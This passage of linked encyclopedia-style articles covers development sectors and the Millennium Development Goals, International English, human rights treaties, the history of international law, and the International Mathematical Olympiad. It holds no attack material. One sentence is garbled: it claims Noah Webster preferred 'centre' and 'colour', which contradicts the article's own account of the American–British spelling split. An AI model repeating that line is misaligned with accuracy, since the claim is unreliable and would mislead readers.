          This is provision of access to quality healthcare to the population in an efficient and consistent manner and according to their needs. The standard and level of provision that is acceptable or appropriate depends on many factors and is highly specific to country and location. For example, in large city (whether in a 'developing' country or not), it is appropriate and often practical to provide a high standard hospital which can offer a full range of treatments; in a remote rural community it may be more appropriate and practical to provide a visiting healthworker on a periodic basis, possibly with a rural clinic serving several different communities.


          The provision of access to healthcare is both an engineering challenge as it requires infrastructure such as hospitals and transport systems and an education challenge as it requires qualified healthworkers and educated consumers.


          The fourth Millennium Development Goal is to reduce by two thirds the mortality rate among children under five.


          The fifth Millennium Development Goal is to reduce by three quarters the maternal mortality ratio.


          The sixth Millennium Development Goal is to halt and begin to reverse the spread of HIV/AIDS and to halt and begin to reverse the incidence of malaria and other major diseases.


          Reaching these goals is also a management challenge. Health services need to make the best use of limited resources while providing the same quality of care to every man, woman and child everywhere. Achieving this level of services requires innovation, quality improvement and expansion of public health services and programs. The main goal is to make public health truly public.


          


          Education


          The provision of education often focusses on providing free primary level education, but also covers secondary and higher education. A lack of access to education is one of the primary limits on human development, and is related closely to every one of the other sectors. Almost every development project includes an aspect of education as development by its very nature requires a change in the way people live.


          The second Millennium Development Goal is to Provide universal primary education.


          The provision of education is itself an education challenge, as it requires qualified teachers who must be trained in higher education institutions. However, donors are unwilling to provide support to higher education because their policies now target the MDG. The result is that students are not educated by qualified professionals and worse, when they graduate from primary school they are inducted into a secondary school system that is not able to accommodate them.


          


          Shelter


          The provision of appropriate shelter is concerned with providing suitable housing for families and communities. It is highly specific to context of culture, location, climate and other factors. In development, it is concerned with providing housing of an appropriate quality and type to accommodate people in the long-term. This is distinct from shelter in relief, which is concerned with providing sufficient shelter to maintain life.


          Examples of organisations specialising in shelter are:


          
            	UN-HABITAT (development)


            	UNHCR (relief)


            	Shelter Centre (mainly relief)

          


          


          Human rights


          The provision of human rights is concerned with ensuring that all people everywhere receive the rights conferred on them by International human rights instruments . There are many of these, but the most important for international development are:


          
            	The Universal Declaration of Human Rights and its associated treaties


            	The Convention on the Rights of the Child


            	The Geneva Conventions (this is of more relevance to relief than development)

          


          Human rights covers a huge range of topics. Some of those more relevant to international development projects include rights associated with gender equality, justice, employment, social welfare and culture.


          The third Millennium Development Goal is to promote gender equality and empower women by eliminating gender disparity in primary and secondary education preferably by 2005, and at all levels by 2015


          


          Livelihoods


          This is concerned with ensuring that all people are able to make a living for themselves and provide themselves with an adequate standard of living, without compromising their human rights and while maintaining dignity.


          The first Millennium Development Goal is to reduce by half the proportion of people living on less than a dollar a day and reduce by half the proportion of people who suffer from hunger.


          


          Finance
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          Several organisations and initiatives exist which are concerned with providing financial systems and frameworks which allow people to organise or purchase services, items or projects for their own development.


          The 2006 Nobel Peace Prize was awarded jointly to Muhammad Yunus and the Grameen Bank, which he founded, for their work in providing microcredit to the poor.


          


          Concerns


          The terms "developed" and "developing" (or "underdeveloped"), have proven problematic in forming policy as they ignore issues of wealth distribution and the lingering effects of colonialism. Some theorists see development efforts as fundamentally neo-colonial, in which a wealthier nation forces its industrial and economic structure on a poorer nation, which will then become a consumer of the developed nation's goods and services. Post-developmentalists, for example, see development as a form of Western cultural imperialism that hurts the people of poor countries and endangers the environment to such an extent that they suggest rejection of development altogether.
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        International English


        
          

          International English is the concept of the English language as a global means of communication in numerous dialects, and also the movement towards an international standard for the language. It is also referred to as Global English, World English, Common English, General English. Sometimes these terms refer simply to the array of varieties of English spoken throughout the world.


          Sometimes "international English" and the related terms above refer to a desired standardisation, i.e. Standard English; however, there is no consensus on the path to this goal.


          


          Historical context


          The modern concept of International English does not exist in isolation, but is the product of centuries of development of the English language.


          The English language evolved from a set of West Germanic dialects spoken by the Angles, Saxons, and Jutes, who arrived from the Continent in the 5th Century. Those dialects came to be known as Englisc (literally "Anglish"), the language today referred to as Anglo-Saxon or Old English (the language of the poem Beowulf). English is thus more closely related to West Frisian than to any other modern language, although less than a quarter of the vocabulary of Modern English is shared with West Frisian or other West Germanic languages because of extensive borrowings from Norse, Norman French, Latin, and other languages. It was during the Viking invasions of the Anglo-Saxon period that Old English was influenced by contact with Norse, a group of North Germanic dialects spoken by the Vikings, who came to control a large region in the North of England known as the Danelaw. Vocabulary items entering English from Norse (including the pronouns she, they, and them) are thus attributable to the on-again-off-again Viking occupation of Northern England during the centuries prior to the Norman Conquest (see, e.g., Canute the Great). Soon after the Norman Conquest of 1066, the Englisc language ceased being a literary language (see, e.g., Ormulum) and was replaced by Norman French as the written language of England. During the Norman Period, English absorbed a significant component of French vocabulary (approximately one-third of the vocabulary of Modern English) With this new vocabulary, additional vocabulary borrowed from Latin (with Greek, another approximately one-third of Modern English vocabulary, though some borrowings from Latin and Greek date from later periods), a simplified grammar, and use of the orthographic conventions of French instead of Old English othography, the language became Middle English (the language of Chaucer). The "difficulty" of English as a written language thus began in the High Middle Ages, when French orthographic conventions were used to spell a language whose original, more suitable orthography had been forgotten after centuries of nonuse. During the late medieval period, King Henry V of England (lived 1387-1422) ordered the use of the English of his day in proceedings before him and before the government bureaucracies. That led to the development of Chancery English, a standardized form used in the government bureaucracy. (The use of so-called Law French in English courts continued through the Renaissance, however.)


          The emergence of English as a language of Wales results from the incorporation of Wales into England and also dates from approximately this time period. Soon afterward, the development of printing by Caxton and others accelerated the development of a standardised form of English. Following a change in vowel pronunciation that marks the transition of English from the medieval to the Renaissance period, The language of the Chancery and Caxton became Early Modern English (the language of Shakespeare's day) and with relatively moderate changes eventually developed into the English language of today. Scots, as spoken in the lowlands and along the east coast of Scotland, developed independently from Modern English and is based on the Northern dialects of Anglo-Saxon, particularly Northumbrian, which also serve as the basis of Northern English dialects such as those of Yorkshire and Newcastle upon Tyne. Northumbria was within the Danelaw and therefore experienced greater influence from Norse than did the Southern dialects. As the political influence of London grew, the Chancery version of the language developed into a written standard across Great Britain, further progressing in the modern period as Scotland became united with England as a result of the Acts of Union of 1707.


          There have been two introductions of English to Ireland, a medieval introduction that led to the development of the now-extinct Yola dialect and a modern introduction in which Hibernian English largely replaced Irish as the most widely spoken language during the 19th Century, following the Act of Union of 1800. Received Pronunciation (RP) is generally viewed as a 19th Century development and is not reflected in North American English dialects, which are based on 18th Century English.


          The establishment of the first permanent English-speaking colony in North America in 1607 was a major step towards the globalisation of the language. British English was only partially standardised when the American colonies were established. Isolated from each other by the Atlantic Ocean, the dialects in England and the colonies began evolving independently. In the 19th century, the standardisation of British English was more settled than it had been in the previous century, and this relatively well-established English was brought to Africa, Asia and Oceania. It developed both as the language of English-speaking settlers from Britain and Ireland, and as the administrative language imposed on speakers of other languages in the various parts of the British Empire. The first form can be seen in New Zealand English, and the latter in Indian English. In Europe English received a more central role particularly since 1919, when the Treaty of Versailles was composed not only in French, the common language of diplomacy at the time, but also in English.


          The English-speaking regions of Canada and the Caribbean are caught between historical connections with the UK and the Commonwealth, and geographical and economic connections with the U.S. In some things, and more formally, they tend to follow British standards, whereas in others they follow the U.S. standard.


          


          Methods of promotion


          Unlike proponents of constructed languages, International English proponents face on the one hand the belief that English already is a world language (and as such, nothing needs to be done to promote it further) and, on the other, the belief that an international language would inherently need to be a constructed one (e.g., Esperanto in Chinese is generally just referred to as Shjiyǔ ( simplified Chinese: 世界语, traditional Chinese: 世界語), or "world language"). In such an environment, at least four basic approaches have been proposed or employed toward the further expansion or consolidation of International English, some in contrast with, and others in opposition to, methods used to advance constructed international auxiliary languages.


          
            	Laissez-faire approach. This approach is taken either out of ignorance of the other approaches or out of a belief that English will more quickly (or with fewer objections) become a more fully international language without any specific global legislation.


            	Institutional sponsorship and grass-roots promotion of language programs. Some governments have promoted the spread of the English language through sponsorship of English language programs abroad, without any attempt to gain formal international endorsement, as have grass-roots individuals and organizations supporting English (whether through instruction, marketing, etc.).


            	National legislation. This approach encourages countries to enshrine English as having at least some kind of official status, in the belief that this would further its spread and could include more countries over time.


            	International legislation. This approach involves promotion of the future holding of a binding international convention (perhaps to be under the auspices of such international organizations as the United Nations or Inter-Parliamentary Union) to formally agree upon an official international auxiliary language which would then be taught in all schools around the world, beginning at the primary level. While this approach allows for the possibility of an alternative to English being chosen (due to its necessarily democratic approach), the approach also allows for the eventuality that English would be chosen by a sufficient majority of the proposed convention's delegates so as to put international opinion and law behind the language and thus to consolidate it as a full official world language.

          


          


          Modern global language


          Braj Kachru divides the use of English into three concentric circles.


          The inner circle is the traditional base of English and includes countries such as the United Kingdom, Ireland and the United States, and, loosely, the (historically mainly white) former colonies: Australia, New Zealand, some islands of the Caribbean, and the anglophone population of Canada. (South Africa is regarded as a special case). English is the native language or mother tongue of most people in these countries.


          In the outer circle are those countries where English has official or historical importance ("special significance"). This means most of the Commonwealth (the former British Empire), including populous countries such as India and Nigeria, and others under the American sphere of influence, such as the Philippines. Here English may serve as a useful lingua franca between ethnic and language groups. Higher education, the legislature and judiciary, national commerce and so on may all be carried out predominantly in English.


          The expanding circle refers to those countries where English has no official role, but nonetheless is important for certain functions, notably international business. This use of English as a lingua franca by now includes most of the rest of the world not categorised above.


          A recent development is the role of English as a lingua franca between speakers of the mutually intelligible Scandinavian languages ( Danish, Norwegian and Swedish). Older generations of Scandinavians would use and understand each others' mother tongue without problems. However today's younger generations lack the same understanding and have begun using English as the language of choice.


          Research on English as a Lingua Franca in the sense of "English in the Expanding Circle" is comparatively recent. Linguists who have been active in this field are Jennifer Jenkins, Barbara Seidlhofer, Christiane Meierkord and Joachim Grzega.


          


          English as a lingua franca in foreign language teaching


          English as an additional language (EAL) usually is based on the standards of either American English or British English. English as an international language (EIL) is EAL with emphasis on learning different major dialect forms; in particular, it aims to equip students with the linguistic tools to communicate internationally. Roger Nunn considers different types of competence in relation to the teaching of English as an International Language, arguing that linguistic competence has yet to be adequately addressed in recent considerations of EIL. .


          Several models of "simplified English" have been suggested for teaching English as a foreign language:


          
            	Basic English, developed by Charles Kay Ogden (and later also I. A. Richards) in the 1930s, a recent revival has been initiated by Bill Templer


            	Threshold Level English, developed by van Ek and Alexander


            	Globish, developed by Jean-Paul Nerrire


            	Basic Global English, developed by Joachim Grzega

          


          Furthermore, Randolph Quirk and Gabriele Stein thought about a Nuclear English, which, however, has never been fully developed.


          


          Varying concepts


          


          Universality and flexibility


          International English sometimes refers to English as it is actually being used and developed in the world; as a language owned not just by native speakers, but by all those who come to use it.


          
            Basically, it covers the English language at large, often (but not always or necessarily) implicitly seen as standard. It is certainly also commonly used in connection with the acquisition, use, and study of English as the world's lingua franca ('TEIL: Teaching English as an International Language'), and especially when the language is considered as a whole in contrast with American English, British English, South African English, and the like. McArthur (2002, p.44445)

          


          It especially means English words and phrases generally understood throughout the English-speaking world as opposed to localisms. The importance of non-native English language skills can be recognized behind the long-standing joke that the international language of science and technology is broken English.


          


          Neutrality


          International English reaches towards cultural neutrality. This has a practical use:


          
            "What could be better than a type of English that saves you from having to re-edit publications for individual regional markets! Teachers and learners of English as a second language also find it an attractive idea both often concerned that their English should be neutral, without American or British or Canadian or Australian coloring. Any regional variety of English has a set of political, social and cultural connotations attached to it, even the so-called 'standard' forms." Peters (2004, International English)

          


          According to this viewpoint, International English is a concept of English that minimizes the aspects defined by either the colonial imperialism of Victorian Britain or the so-called " cultural imperialism" of the 20th century United States. While British colonialism laid the foundation for English over much of the world, International English is a product of an emerging world culture, very much attributable to the influence of the United States as well, but conceptually based on a far greater degree of cross-talk and linguistic transculturation, which tends to mitigate both U.S. influence and British colonial influence.


          The development of International English often centers around academic and scientific communities, where formal English usage is prevalent, and creative use of the language is at a minimum. This formal International English allows entry into Western culture as a whole and Western cultural values in general.


          


          Opposition


          The continued growth of the English language itself is seen by many as a kind of cultural imperialism, whether it is English in one form or English in two slightly different forms.


          Robert Phillipson argues against the possibility of such neutrality in his Linguistic Imperialism (1992). Learners who wish to use purportedly correct English are in fact faced with the dual standard of American English and British English, and other less known standard Englishes (namely Australian and Canadian).


          Edward Trimnell, author of Why You Need a Foreign Language & How to Learn One (2005) argues that the international version of English is only adequate for communicating basic ideas. For complex discussions and business/technical situations, English is not an adequate communication tool for non-native speakers of the language. Trimnell also asserts that native English-speakers have become "dependent on the language skills of others" by placing their faith in international English.


          


          Appropriation theory


          There are also some who reject both linguistic imperialism and David Crystal's theory of the neutrality of English. They argue that the phenomenon of the global spread of English is better understood in the framework of appropriation (e.g. Spichtinger 2000), that is, English used for local purposes around the world. Demonstrators in non-English speaking countries often use signs in English to convey their demands to TV-audiences around the globe, for instance.


          In English language teaching Bobda shows how Cameroon has moved away from a mono-cultural, Anglo-centered way of teaching English and has gradually appropriated teaching material to a Cameroonian context. Non Western-topics treated are, for instance, the rule of Emirs, traditional medicine or polygamy (1997:225). Kramsch and Sullivan (1996) describe how Western methodology and textbooks have been appropriated to suit local Vietnamese culture. The Pakistani textbook "Primary Stage English" includes lessons such as "Pakistan My Country", "Our Flag", or "Our Great Leader" (Malik 1993: 5,6,7) which might well sound jingoistic to Western ears. Within the native culture, however, establishing a connection between ELT, patriotism and Muslim faith is seen as one of the aims of ELT, as the chairman of the Punjab Textbook Board openly states: "The board...takes care, through these books to inoculate in the students a love of the Islamic values and awareness to guard the ideological frontiers of your [the students] home lands" (Punjab Text Book Board 1997).


          


          Many Englishes


          There are many difficult choices that have to be made if there is to be further standardisation of English in the future. These include the choice over whether to adopt a current standard, or move towards a more neutral, but artificial one. A true International English might supplant both current American and British English as a variety of English for international communication, leaving these as local dialects, or would rise from a merger of General American and standard British English with admixture of other varieties of English and would generally replace all these varieties of English.


          
            We may, in due course, all need to be in control of two standard Englishesthe one which gives us our national and local identity, and the other which puts us in touch with the rest of the human race. In effect, we may all need to become bilingual in our own language. David Crystal (1988: p.265)

          


          This is the situation long faced by many users of English who possess a 'non-standard' dialect of English as their birth tongue but have also learned to write (and perhaps also speak) a more standard dialect. Many academics often publish material in journals requiring different varieties of English and change style and spellings as necessary without great difficulty.


          As far as spelling is concerned, the differences between American and British usage became noticeable due to the first influential lexicographers (dictionary writers) on each side of the Atlantic. Samuel Johnson's dictionary of 1755 greatly favoured Norman-influenced spellings such as centre and colour; on the other hand, Noah Webster's first guide to American spelling, published in 1783, preferred spellings like centre and the Latinate colour. The difference in strategy and philosophy of Johnson and Webster are largely responsible for the main division in English spelling that exists today. It must be said, however, that these differences are extremely minor. Spelling is but a small part of the differences between dialects of English, and may not even reflect dialect differences at all (except in phonetically spelled dialogue). International English refers to much more than an agreed spelling pattern.


          


          Dual standard


          Two approaches to International English are the individualistic and inclusive approach and the new dialect approach.


          The individualistic approach gives control to individual authors to write and spell as they wish (within purported standard conventions) and to accept the validity of differences. The Longman Grammar of Spoken and Written English, published in 1999, is a descriptive study of both American and British English in which each chapter follows individual spelling conventions according to the preference of the main editor of that chapter.


          The new dialect approach appears in The Cambridge Guide to English Usage (Peters, 2004) which attempts to avoid any language bias and accordingly uses an idiosyncratic international spelling system of mixed American and British forms (but tending to prefer the more phonetic American English spellings).
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        International human rights instruments


        
          

          International human rights instruments can be classified into two categories: declarations, adopted by bodies such as the United Nations General Assembly, which are not legally binding although they may be politically so; and conventions, which are legally binding instruments concluded under international law. It should be noted that international treaties can, over time, obtain the status of customary international law.


          International human rights instruments can be divided further into global instruments, to which any state in the world can be a party, and regional instruments, which are restricted to states in a particular region of the world.


          Most conventions establish mechanisms to oversee their implementation. In some cases these mechanisms have relatively little power, and are often ignored by member states; in other cases these mechanisms have great political and legal authority, and their decisions are almost always implemented. Examples of the first case include the UN treaty committees, while the best exemplar of the second case is the European Court of Human Rights.


          Mechanisms also vary as to the degree of individual access to them. Under some conventions  e.g. the European Convention on Human Rights (as it currently exists)  individuals are permitted automatically to take individual cases to the enforcement mechanisms; under most, however, (e.g. the UN conventions) individual access is contingent on the acceptance of that right by each state party, either by a declaration at the time of ratification or accession, or through ratification of or accession to a protocol to the convention. This is part of the evolution of international law over the last several decades. It has moved from a body of laws governing states to recognizing the importance of individuals and their rights within the international legal framework.


          The Universal Declaration of Human Rights, the International Covenant on Civil and Political Rights, and the International Covenant on Economic, Social and Cultural Rights are sometimes referred to as the international bill of rights.


          


          Declarations


          
            	Declaration of the Rights of the Child 1923


            	Universal Declaration of Human Rights (UN, 1948)


            	American Declaration of the Rights and Duties of Man ( OAS, 1948)


            	Cairo Declaration of Human Rights ( OIC,1990)


            	Declaration on the Rights of Indigenous Peoples (UN, 2007)

          


          


          Conventions


          


          Global


          
            	International Covenant on Civil and Political Rights (ICCPR)


            	International Convention on the Suppression and Punishment of the Crime of Apartheid (ICSPCA)


            	International Covenant on Economic, Social, and Cultural Rights (ICESCR)


            	Convention Relating to the Status of Refugees and Protocol Relating to the Status of Refugees


            	Convention on the Rights of the Child (CRC)


            	Convention Against Torture (CAT)


            	Convention on the Elimination of All Forms of Racial Discrimination (ICERD)


            	Convention on the Elimination of All Forms of Discrimination Against Women (CEDAW)


            	International Convention on the Protection of the Rights of All Migrant Workers and Members of Their Families (MWC)


            	Convention on the Prevention and Punishment of the Crime of Genocide


            	Convention on the Rights of Persons with Disabilities


            	International Convention for the Protection of All Persons from Enforced Disappearance

          


          


          Regional: Africa


          
            	African Charter on Human and Peoples' Rights

          


          


          Regional: America


          
            	American Convention on Human Rights


            	Inter-American Convention to Prevent and Punish Torture


            	Inter-American Convention on Forced Disappearance of Persons


            	Inter-American Convention on the Prevention, Punishment, and Eradication of Violence against Women


            	Inter-American Convention on the Elimination of All Forms of Discrimination against Persons with Disabilities

          


          


          Regional: Europe


          
            	European Convention on Human Rights


            	European Convention on Torture


            	European Social Charter
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              Providing a constitution for public international law, the United Nations was conceived during World War II
            

          


          International law can refer to three things. These are,


          
            	public international law


            	private international law or conflict of laws


            	the law of supranational organizations.

          


          



          


          Public international law


          Public international law (or international public law) concerns the relationships between sovereign nations. It is developed mainly through multilateral conventions, though custom (state practice with opinio juris) can play an important role. Its modern corpus started to be developed in the middle of the 19th Century. The two World Wars, the League of Nations and other international organizations such as the International Labor Organization all contributed to accelerate this process and established much of the foundations of modern public international law. After the failure of the Treaty of Versailles and World War II, the League of Nations was replaced by the United Nations, founded under the UN Charter. The UN has developed new standards, such as the Universal Declaration of Human Rights. Other international norms and laws have been established through international agreements; e.g. the Geneva Conventions on the conduct of war or armed conflict, as well as by other international organizations such as the ILO, the World Health Organization, the World Intellectual Property Organization, the International Telecommunication Union, UNESCO, the World Trade Organization, and the International Monetary Fund. Thus later law is of great importance in the realm of international relations.


          


          Conflict of laws


          Conflict of laws, or "private international law" in civil law jurisdictions, is less international than international law. It is distinguished from public international law because it governs conflicts between private persons, rather than states (or other international bodies with standing). It concerns which jurisdiction a legal dispute between private parties should be heard in, therefore raising issues of international law. Today corporations are increasingly capable of shifting capital and labor supply chains across borders, as well as trading with overseas corporations. This increases the number of disputes of an inter-state nature outside a unified legal framework and raises issues of the enforceability of standard practices. Increasing numbers of businesses use commercial arbitration under the New York Convention 1958.


          


          Supranational law


          


          The European Union


          The European Union is the first and only example ( so far) of a supra-national legal framework, where sovereign nations have pooled their authority through a system of courts and political institutions. It constitutes a new legal order in international law for the mutual social and economic benefit of the member states.


          


          East Africa Community


          At present the East African Community can no longer be ignored as the developments at their Headquarters in Arusha in Tanzania and the three founder states, Kenya, Tanzania and Uganda have so far signed a treaty to refound the Community. The process of admission to the East African Community has ended, and two new member states, Burundi and Rwanda, will join July 2007. This project's aim is the welfare of the peoples of East Africa, and to benefit this by pooling their efforts in order to facilitate their presence in the competitive world market.


          


          History


          From tribal prehistory through the modern international community, groups of people have had to interact. Until very recently, these interactions have not been controlled by any established rules. Peoples may have obeyed their own social mores, but were not bound by any independent principles. As peoples began to aggregate into larger kingdoms and empires, the need for agreement and cooperation between peoples became important. The need for real international codes did not develop, however, until the rise of the nation-state in the Middle Ages, when nation-states began to recognize others as sovereign equals.


          Early History


          The ancient Greeks before Alexander formed many small states that constantly interacted. In peace and in war, an inter-state culture evolved that prescribed certain rules for how these states would interact. These rules did not apply to interactions with non-Greek states, but among themselves the Greek inter-state community resembled in some respects the modern international community.


          The Roman Empire did not develop an international law, as it acted without regard to any external rules in its dealings with those territories that were not already part of the empire. The Romans did, however, form municipal laws governing the interactions between private Roman citizens and foreigners. These laws, called the jus gentium (as opposed to the jus civile governing interactions between citizens) codified some ideas of basic fairness, and attributed some rules to an objective, independent "natural law." These jus gentium ideas of fairness and natural law have survived and are reflected in modern international law.


          Nation-States


          After the fall of the Roman Empire and the collapse of the Holy Roman Empire into independent cities, principalities, kingdoms and nations, for the first time there was a real need for rules of conduct between a large international community. Without an empire or a dominant religious leadership to moderate and direct international dealings, most of Europe looked to Justinian's code of law from the Roman Empire, and the canon law of the Catholic Church for inspiration.


          International trade was the real catalyst for the development of objective rules of behaviour between states. Without a code of conduct, there was little to guarantee trade or protect the merchants of one state from the actions of another. Economic self-interest drove the evolution of common international trade rules, and most importantly the rules and customs of maritime law.


          As international trade, exploration and warfare became more involved and complex, the need for common international customs and practices became even more important. The Hanseatic League of the more than 150 entities in what is now Germany developed many useful international customs, which facilitated trade and communication among other things. The Italian city-states developed diplomatic rules, as they began sending ambassadors to foreign capitals. Treaties -- agreements between governments intended to be binding -- became a useful tool to protect commerce. The horrors of the Thirty Years' War, meanwhile, created an outcry for rules of combat that would protect civilian communities.


          International practices, customs, rules and treaties proliferated to the point of complexity. Several scholars sought to compile them all into organized treatises. The most important of these was Hugo Grotius, whose treatise De Jure Belli, Ac Pacis Libri Tres is considered the starting point for modern international law.


          Grotius to World War I


          Before Grotius, most European thinkers treated law as something independent of mankind, with its own existence. Some laws were invented by men, but ultimately they reflected the essential natural law. Grotius was no different, except in one important respect: Unlike the earlier thinkers, who believed that the natural law was imposed by a deity, Grotius believed that the natural law came from an essential universal reason, common to all men.


          This rationalist perspective enabled Grotius to posit several rational principles underlying law. Law was not imposed from above, but rather derived from principles.


          Foundation principles included the axioms that promises must be kept, and that harming another requires restitution. These two principles have served as the basis for much of subsequent international law.


          Apart from natural-law principles, Grotius also dealt with international custom, or voluntary law. Grotius emphasized the importance of actual practices, customs and treaties -- what "is" done -- as opposed to normative rules of what "ought to be" done.


          This positivist approach to international law strengthened over time. As nations became the predominant form of state in Europe, and their man-made laws became more important than religious doctrines and philosophies, the law of what "is" similarly became more important than the law of what "ought to be."


          With respect to war, the positivist approach permitted any state to go to war for any reason. "Is" rather than "ought" meant that there was no distinction between a "just" and an "unjust" war. Justness was not a consideration. The devastation of the First World War would change that.


          The League of Nations


          Following World War I, as after the Thirty Years' War, there was an outcry for rules of warfare to protect civilian populations, as well as a desire to curb invasions.


          The League of Nations, established after the war, attempted to curb invasions by enacting a treaty agreement providing for economic and military sanctions against member states that used "external aggression" to invade or conquer other member states.


          An international court was established, the Permanent Court of International Justice, to arbitrate disputes between nations without resorting to war. Meanwhile, many nations signed treaties agreeing to use international arbitration rather than warfare to settle differences.


          International crises, however, demonstrated that nations were not yet committed to the idea of giving external authorities a say in how nations conducted their affairs. Aggression on the part of Germany, Italy and Japan went unchecked by international law, and it took a Second World War to end it.


          The Postwar Era


          After World War II, as after the First World War and the Thirty Years' War, there was a strong desire to never again endure the horrors of war endured by the civilian populations. The League of Nations was re-attempted through another treaty organization, the United Nations.


          The postwar era has been a highly successful one for international law. International cooperation has become far more commonplace, though of course not universal. Importantly, nearly two hundred nations are now members of the United Nations, and have voluntarily bound themselves to its charter. Even the most powerful nations have recognized the need for international cooperation and supports, and have routinely sought international agreement and consent before engaging in acts of war.


          International law is, of course, only partly about the conduct of war. Most rules are civil, concerning the delivery of mail, trade, shipping, air travel, and the like. Most rules are obeyed routinely by most countries, because the rules make life easier for all concerned. The rules are rarely disputed. But some international law is extremely political and hotly debated. This includes not just the laws of warfare but also such matters as fishing rights.


          Modern Customary International Law


          An important development in modern international law is the concept of "consent." Before World War II, a nation would not have been considered to be bound by a rule unless it had formally agreed to be bound by it, or it was already customarily abiding by that rule. Now, however, merely consenting to an international practice is sufficient to be bound by it, without signing a treaty.


          An evolution of the positivist approach of Grotius, the concept of consent is an element of customary international law. Customary international law is essentially what states actually do, plus the opinio juris of what states believe international law requires them to do.


          Customary international law applies to every country, regardless of whether they have formally agreed to it. At the same time, all countries take part in forming customary international law by their practices and decisions. As new rules arise, countries accept, reject or modify them. When most countries are following a rule, everyone else will be held to it. Therefore, doing nothing is the same as consenting. Nations that did not take action may find themselves bound by an international law that is not to their advantage.


          Customary international law can be overruled, however, by a treaty. For this reason, much customary international law has been agreed to formally by treaties between nations.


          Modern Treaty Law Treaties are essentially contracts between countries. They are agreements by which the parties intend to be bound. If treaties are broken, their effectiveness is weakened because there is no guarantee that future promises will be kept. So there is a strong incentive for nations to take treaties very seriously.


          Modern nations engage in a two-step procedure for entering into treaties. The first step is signing the treaty. Being a signatory to a treaty means that a country intends to enter into the agreement. The second step is ratifying the treaty. A country that has ratified a treaty has gone beyond merely intending to enter into the agreement, and is now bound by it. This is a critical distinction, and sometimes a point of confusion. A nation may be a signatory to a treaty for many years without ever having ratified it.


          Each country ratifies treaties its own way. The United States requires the two-thirds support of the Senate, the upper body of its legislature, for a treaty to be ratified; both the executive and the legislature must agree. In Canada, on the other hand, ratification is strictly an executive action, and no parliamentary approval is required before the nation is bound.


          Modern treaties are interpreted according to the 1969 Vienna Convention on the Law of Treaties. This convention is so widely accepted that even nations that are not parties to the convention follow it. The convention's most important and sensible rule is that a treaty should be interpreted according to the plain meaning of its language, in the context of its purpose, and in good faith. This prevents much squabbling and unnecessary nit-picking. It also makes treaty authors spell out what they are trying to accomplish, to make interpretation easier, in a non-binding "preamble."


          In the modern world, international law is more important than ever. Even the most powerful countries rely on it, and seek to comply with it -- and suffer consequences if they ignore it.
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        International Mathematical Olympiad


        
          

          


          The International Mathematical Olympiad (IMO) is an annual six-problem, 42-point mathematical olympiad for pre- collegiate students and is the oldest of the international science olympiads. The first IMO was held in Romania in 1959. It has since been held annually, except in 1980. About 90 countries send teams of up to six students, plus one team leader, one deputy leader, and observers.


          The selection process differs by country, but it often consists of a series of tests which admit fewer students at each progressing test. Awards are given to a top percentage of the individual contestants. Teams are not officially recognizedall scores are given only to individual contestants, but team scoring is unofficially compared more so than individual scores. Contestants must be under the age of 20 and must not have any post-secondary school education. Subject to these conditions, an individual may participate any number of times in the IMO.


          


          History


          The first IMO was held in Romania in 1959. Since then it has been held every year except 1980. That year, it was cancelled due to internal strife in Mongolia. It was initially founded for eastern European countries participating in the Warsaw Pact, under the Soviet bloc of influence, but after the disintegration of the Soviet Union, western countries participated as well. Because of this eastern origin, the earlier IMOs were hosted only in eastern European countries, and gradually spread to other nations.


          Sources differ about the cities hosting some of the early IMOs. This may be partly because leaders are generally housed well away from the students, and partly because after the competition the students did not always stay based in one city for the rest of the IMO. The exact dates cited may also differ, because of leaders arriving before the students, and at more recent IMOs the IMO Advisory Board arriving before the leaders.


          Several students, such as Christian Reiher, have performed exceptionally well on the IMO, scoring multiple gold medals. Others, such as Grigory Margulis, have went on to become notable mathematicians. Several former participants have won awards such as the Fields medal.


          


          Scoring and format


          The paper consists of six problems, with each problem being worth seven points, the total score thus being 42 points. No calculators are allowed. The examination is held over two consecutive days; the contestants have four-and-a-half hours to solve three problems per day. The problems chosen are from various areas of secondary school mathematics, broadly classifiable as geometry, number theory, algebra, and combinatorics. They require no knowledge of higher mathematics such as calculus and analysis, and solutions are often short and elementary. However, they are usually disguised so as to make the process of finding the solutions difficult. Prominently featured are algebraic inequalities, complex numbers, and construction-oriented geometrical problems.


          Each participating country, other than the host country, may submit suggested problems to a Problem Selection Committee provided by the host country, which reduces the submitted problems to a shortlist. The team leaders arrive at the IMO a few days in advance of the contestants and form the IMO Jury which is responsible for all the formal decisions relating to the contest, starting with selecting the six problems from the shortlist. As the leaders know the problems in advance of the contestants, they are kept strictly separated and observers.


          Each country's marks are agreed between that country's leader and the deputy leader and coordinators provided by the host country (the leader of the team whose country submitted the problem in the case of the marks of the host country), subject to the decisions of the chief coordinator and ultimately a jury if any disputes cannot be resolved.


          


          Selection process
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          The selection process for the IMO varies greatly by country. In some countries, especially those in east Asia, the selection process involves several difficult tests of a difficulty comparable to the IMO itself. The Chinese contestants go through a camp, which lasts from March 16 to April 2. In others, such as the USA, possible participants go through as series of easier standalone competitions that gradually increase in difficulty. In the case of the USA, the tests include the American Mathematics Competitions, the American Invitational Mathematics Examination, and the United States of America Mathematical Olympiad, each of which is a competition in its own right. For high scorers on the final competition for the team selection, there also is a summer camp, like that of China's.


          The former Soviet Union and other eastern European countries' selection process consists of choosing a team several years beforehand, and giving them special training specifically for the event. However, such methods have been discontinued in some countries.


          


          Awards


          The participants are ranked based on their individual scores.


          
            	Subsequently the cutoffs (minimum score required to receive a gold, silver or bronze medal) are chosen such that the ratio of medals awarded approximates 1:2:3.


            	Participants who do not win a medal but who score seven points on at least one problem get an honorable mention.

          


          Special prizes may be awarded for solutions of outstanding elegance or involving good generalisations of a problem. This last happened in 2005, 1995 and 1988, but was more frequent up to the early 1980s.


          The rule that at most half the contestants win a medal is sometimes broken if adhering to it causes the number of medals to deviate too much from half the number of contestants. This last happened in 2006 when the choice was to give either 188 or 253 of the 498 contestants a medal.


          


          Current and future IMOs
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              Part of the 2007 IMO Greek team.
            

          


          
            	The 49th IMO will be held in Madrid, Spain from 10 22 July, 2008.


            	The 50th IMO will be held in Bremen, Germany from 10 22 July, 2009.


            	The 51st IMO will be held in Astana, Kazakhstan in 2010.


            	The 52nd IMO will be held in the Netherlands in 2011.

          


          


          Notable achievements
